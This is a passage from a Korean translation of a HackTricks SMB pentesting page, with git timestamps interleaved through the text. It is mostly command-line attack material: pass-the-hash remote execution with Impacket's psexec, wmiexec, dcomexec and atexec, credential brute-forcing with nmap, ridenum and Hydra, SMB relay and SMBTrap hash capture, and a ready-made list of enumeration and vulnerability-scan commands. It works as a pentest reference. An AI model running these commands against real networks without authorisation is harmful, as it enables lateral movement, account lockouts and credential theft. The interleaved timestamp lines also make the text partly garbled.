crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
2024-02-10 21:30:13 +00:00
두 옵션 모두 피해자의 컴퓨터에 _\pipe\svcctl_을 통해 새로운 서비스를 **생성**하고 이를 사용하여 **무언가를 실행**합니다 (**psexec**은 실행 가능한 파일을 ADMIN$ 공유에 **업로드**하고 **smbexec**은 cmd.exe/powershell.exe를 가리키고 인자에 페이로드를 넣습니다 --**파일 없는 기술--**-).\
[**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) 및 [**smbexec**](../windows-hardening/ntlm/smbexec.md)에 대한 **추가 정보**.\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
2024-02-10 21:30:13 +00:00
**매개 변수** `-k`를 사용하여 **NTLM** 대신 **Kerberos**에 대한 인증을 수행할 수 있습니다.
2022-10-04 23:18:19 +00:00
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
2024-02-10 21:30:13 +00:00
디스크를 건드리지 않고 또는 새로운 서비스를 실행하지 않고 **포트 135**를 통해 DCOM을 사용하여 명령 셸을 은밀하게 실행할 수 있습니다.\
**Kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
2024-02-10 21:30:13 +00:00
**parameter**`-k`를 사용하여 **NTLM** 대신 **kerberos**에 대한 인증을 수행할 수 있습니다.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
2024-02-10 21:30:13 +00:00
_**Task Scheduler**_를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_를 사용).\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
2024-02-10 21:30:13 +00:00
## Impacket 참조
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
2024-02-10 21:30:13 +00:00
## **사용자 자격 증명 무차별 대입 공격**
2024-02-10 21:30:13 +00:00
**이는 권장되지 않으며, 최대 허용 시도 횟수를 초과하면 계정이 차단될 수 있습니다.**
```bash
nmap --script smb-brute -p 445 <IP>
2022-07-13 11:11:15 +00:00
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
2024-02-10 21:30:13 +00:00
## SMB 릴레이 공격
2024-02-10 21:30:13 +00:00
이 공격은 Responder 툴킷을 사용하여 내부 네트워크에서 SMB 인증 세션을 캡처하고 이를 대상 기기로 릴레이합니다. 인증 세션이 성공하면 자동으로 시스템 쉘로 이동합니다.\
[**이 공격에 대한 자세한 정보는 여기에서 확인하세요.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
2022-05-01 13:25:53 +00:00
## SMB-Trap
2024-02-10 21:30:13 +00:00
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 액세스하려고 할 때 호스트에 대한 인증을 자동으로 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"`
2024-02-10 21:30:13 +00:00
이는 다음과 같은 함수에서 발생합니다:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
2024-02-10 21:30:13 +00:00
이 함수들은 일부 브라우저와 도구(예: Skype)에서 사용됩니다.
2024-02-10 21:30:13 +00:00
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
2024-02-10 21:30:13 +00:00
### MitMf를 사용한 SMBTrap
2024-02-10 21:30:13 +00:00
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
2022-09-15 17:28:33 +00:00
2024-02-10 21:30:13 +00:00
## NTLM 도용
2022-09-15 17:28:33 +00:00
2024-02-10 21:30:13 +00:00
SMB 트랩과 유사하게, 대상 시스템에 악성 파일을 심는 것(SMB를 통해)은 SMB 인증 시도를 유발할 수 있으며, 이를 통해 Responder와 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](pentesting-smb.md#smb-relay-attack)에 사용될 수 있습니다.
2022-09-15 17:28:33 +00:00
2024-02-10 21:30:13 +00:00
[참조: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
2021-08-12 13:30:40 +00:00
2024-02-10 21:30:13 +00:00
## HackTricks 자동 명령어
```
2021-08-12 13:30:40 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-15 18:12:30 +00:00
Entry_1:
2024-02-10 21:30:13 +00:00
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
2021-08-15 18:12:30 +00:00
Entry_2:
2024-02-10 21:30:13 +00:00
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
2021-08-15 18:12:30 +00:00
Entry_3:
2024-02-10 21:30:13 +00:00
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
2021-08-15 18:12:30 +00:00
Entry_4:
2024-02-10 21:30:13 +00:00
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
2021-09-13 15:41:00 +00:00
Entry_5:
2024-02-10 21:30:13 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
2024-02-10 21:30:13 +00:00
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-02 18:28:27 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
</details>